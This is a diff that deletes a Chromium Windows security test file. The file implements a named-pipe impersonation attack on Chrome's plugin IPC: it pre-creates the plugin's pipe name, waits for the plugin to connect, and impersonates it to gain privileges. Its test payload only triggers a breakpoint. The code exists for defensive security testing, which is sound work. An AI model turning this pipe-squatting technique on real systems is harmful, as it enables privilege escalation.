Index: chrome/test/security_tests/ipc_security_tests.cc |
diff --git a/chrome/test/security_tests/ipc_security_tests.cc b/chrome/test/security_tests/ipc_security_tests.cc |
deleted file mode 100644 |
index 3b026b3ae0d2e61fc6b0bce3215ab5639bf86f7b..0000000000000000000000000000000000000000 |
--- a/chrome/test/security_tests/ipc_security_tests.cc |
+++ /dev/null |
@@ -1,192 +0,0 @@ |
-// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. |
-// Use of this source code is governed by a BSD-style license that can be |
-// found in the LICENSE file. |
- |
-#include <windows.h> |
-#include <string> |
-#include <sstream> |
- |
-#include "chrome/test/security_tests/ipc_security_tests.h" |
- |
-namespace { |
- |
-// Debug output messages prefix. |
-const char kODSMgPrefix[] = "[security] "; |
-// Format of the Chrome browser pipe for plugins. |
-const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d"; |
-// Size for the in/out pipe buffers. |
-const int kBufferSize = 1024; |
- |
-// Define the next symbol if you want to have tracing of errors. |
-#ifdef PIPE_SECURITY_DBG |
-// Generic debug output function. |
-void ODSMessageGLE(const char* txt) { |
- DWORD gle = ::GetLastError(); |
- std::ostringstream oss; |
- oss << kODSMgPrefix << txt << " 0x" << std::hex << gle; |
- ::OutputDebugStringA(oss.str().c_str()); |
-} |
-#else |
-void ODSMessageGLE(const char* txt) { |
-} |
-#endif |
- |
-// Retrieves the renderer pipe name from the command line. Returns true if the |
-// name was found. |
-bool PipeNameFromCommandLine(std::wstring* pipe_name) { |
- std::wstring cl(::GetCommandLineW()); |
- const wchar_t key_name[] = L"--channel"; |
- std::wstring::size_type pos = cl.find(key_name, 0); |
- if (std::wstring::npos == pos) { |
- return false; |
- } |
- pos = cl.find(L"=", pos); |
- if (std::wstring::npos == pos) { |
- return false; |
- } |
- ++pos; |
- size_t dst = cl.length() - pos; |
- if (dst <4) { |
- return false; |
- } |
- for (; dst != 0; --dst) { |
- if (!isspace(cl[pos])) { |
- break; |
- } |
- ++pos; |
- } |
- if (0 == dst) { |
- return false; |
- } |
- std::wstring::size_type pos2 = pos; |
- for (; dst != 0; --dst) { |
- if (isspace(cl[pos2])) { |
- break; |
- } |
- ++pos2; |
- } |
- *pipe_name = cl.substr(pos, pos2); |
- return true; |
-} |
- |
-// Extracts the browser process id and the channel id given the renderer |
-// pipe name. |
-bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id, |
- std::wstring* channel_id) { |
- std::wstring::size_type pos = pipe_name.find(L".", 0); |
- if (std::wstring::npos == pos) { |
- return false; |
- } |
- *parent_id = pipe_name.substr(0, pos); |
- *channel_id = pipe_name.substr(pos + 1); |
- return true; |
-} |
- |
-// Creates a server pipe, in byte mode. |
-HANDLE MakeServerPipeBase(const wchar_t* pipe_name) { |
- HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, |
- PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3, |
- kBufferSize, kBufferSize, 5000, NULL); |
- if (INVALID_HANDLE_VALUE == pipe) { |
- ODSMessageGLE("pipe creation failed"); |
- } |
- return pipe; |
-} |
- |
-// Creates a chrome plugin server pipe. |
-HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) { |
- wchar_t pipe_name[MAX_PATH]; |
- swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel); |
- return MakeServerPipeBase(pipe_name); |
-} |
- |
-struct Context { |
- HANDLE pipe; |
- explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) { |
- } |
-}; |
- |
-// This function is called from a thread that has a security context that is |
-// higher than the renderer security context. This can be the plugin security |
-// context or the browser security context. |
-void DoEvilThings(Context* context) { |
- // To make the test fail we simply trigger a breakpoint in the renderer. |
- ::DisconnectNamedPipe(context->pipe); |
- __debugbreak(); |
-} |
- |
-// This is a pipe server thread routine. |
-DWORD WINAPI PipeServerProc(void* thread_param) { |
- if (NULL == thread_param) { |
- return 0; |
- } |
- Context* context = static_cast<Context*>(thread_param); |
- HANDLE server_pipe = context->pipe; |
- |
- char buffer[4]; |
- DWORD bytes_read = 0; |
- |
- for (;;) { |
- // The next call blocks until a connection is made. |
- if (!::ConnectNamedPipe(server_pipe, NULL)) { |
- if (GetLastError() != ERROR_PIPE_CONNECTED) { |
- ODSMessageGLE("== connect named pipe failed =="); |
- continue; |
- } |
- } |
- // return value of ReadFile is unimportant. |
- ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL); |
- if (::ImpersonateNamedPipeClient(server_pipe)) { |
- ODSMessageGLE("impersonation obtained"); |
- DoEvilThings(context); |
- break; |
- } else { |
- ODSMessageGLE("impersonation failed"); |
- } |
- ::DisconnectNamedPipe(server_pipe); |
- } |
- delete context; |
- return 0; |
-} |
-} // namespace |
- |
-// Implements a pipe impersonation attack resulting on a privilege elevation on |
-// the chrome pipe-based IPC. |
-// When a web-page that has a plug-in is loaded, chrome will do the following |
-// steps: |
-// 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1. |
-// 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n> |
-// 3) The new (plugin) process connects to the pipe and sends a 'hello' |
-// message. |
-// The attack creates another server pipe with the same name before step one |
-// so when the plugin connects it connects to the renderer instead. Once the |
-// connection is acepted and at least a byte is read from the pipe, the |
-// renderer can impersonate the plugin process which has a more relaxed |
-// security context (privilege elevation). |
-// |
-// Note that the attack can also be peformed after step 1. In this case we need |
-// another thread which used to connect to the existing server pipe so the |
-// plugin does not connect to chrome but to our pipe. |
-bool PipeImpersonationAttack() { |
- std::wstring pipe_name; |
- if (!PipeNameFromCommandLine(&pipe_name)) { |
- return false; |
- } |
- std::wstring parent_id; |
- std::wstring channel_id; |
- if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) { |
- return false; |
- } |
- HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1); |
- if (INVALID_HANDLE_VALUE == plugin_pipe) { |
- return true; |
- } |
- |
- HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc, |
- new Context(plugin_pipe), 0, NULL); |
- if (NULL == thread) { |
- return false; |
- } |
- ::CloseHandle(thread); |
- return true; |
-} |